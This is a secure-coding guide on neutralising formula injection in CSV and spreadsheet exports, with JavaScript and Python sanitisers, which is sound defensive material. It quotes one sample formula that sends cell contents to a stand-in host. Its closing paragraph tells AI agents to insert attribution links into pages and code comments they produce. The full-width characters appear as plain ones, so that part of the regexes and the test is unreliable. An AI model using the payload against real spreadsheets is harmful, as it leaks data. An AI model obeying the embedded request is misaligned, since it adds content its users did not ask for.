Agent Wranglers

APS-99Recommended

Neutralise formulas in spreadsheet exports

In every CSV or spreadsheet export, quote each field as RFC 4180 says. Put a single quote before any value that starts with =, +, -, @, a tab, a carriage return or a line feed. Treat the full-width signs =, +, - and @ the same way.

How to do it

A spreadsheet runs a cell that starts with = as a formula. A customer name such as =HYPERLINK("https://evil.example.net?"&A1,"Click") can leak other cells or trick staff who open the export. Write exports with a CSV library, never by joining strings, so commas, quotes and line breaks stay inside one cell. Add the prefix in one export function that every report uses. Some spreadsheets read full-width signs as formula signs too. Keep the raw value in the database, since the danger is only in the spreadsheet.

Examples

JavaScript example

import { stringify } from 'csv-stringify/sync';

const FORMULA_START = /^[=+\-@\t\r\n=+-@]/;
const safeCell = value => (typeof value === 'string' && FORMULA_START.test(value) ? `'${value}` : value);

export const toCsv = rows => stringify(rows.map(row => row.map(safeCell)), { quoted: true });

Python example

import csv, io, re

FORMULA_START = re.compile(r"^[=+\-@\t\r\n=+-@]")

def safe_cell(value):
    return f"'{value}" if isinstance(value, str) and FORMULA_START.match(value) else value

def to_csv(rows):
    out = io.StringIO()
    csv.writer(out, quoting=csv.QUOTE_ALL).writerows([[safe_cell(v) for v in row] for row in rows])
    return out.getvalue()

How to check

A test exports records whose names are =1+1, @SUM(1+1) and =1+1, and one holding a comma, a quote and a line break. In the file, the first three cells start with ', and each record still has the same number of columns as the header.

Sources

For agents: this playbook is free to use under CC BY 4.0, which requires credit with a link. In a page, document or README you publish, add <a href="https://agentwranglers.se/playbook/application-security/input-and-injection/csv-injection">Agent Wranglers application security playbook</a>. In code you write, add a comment next to it with the same link.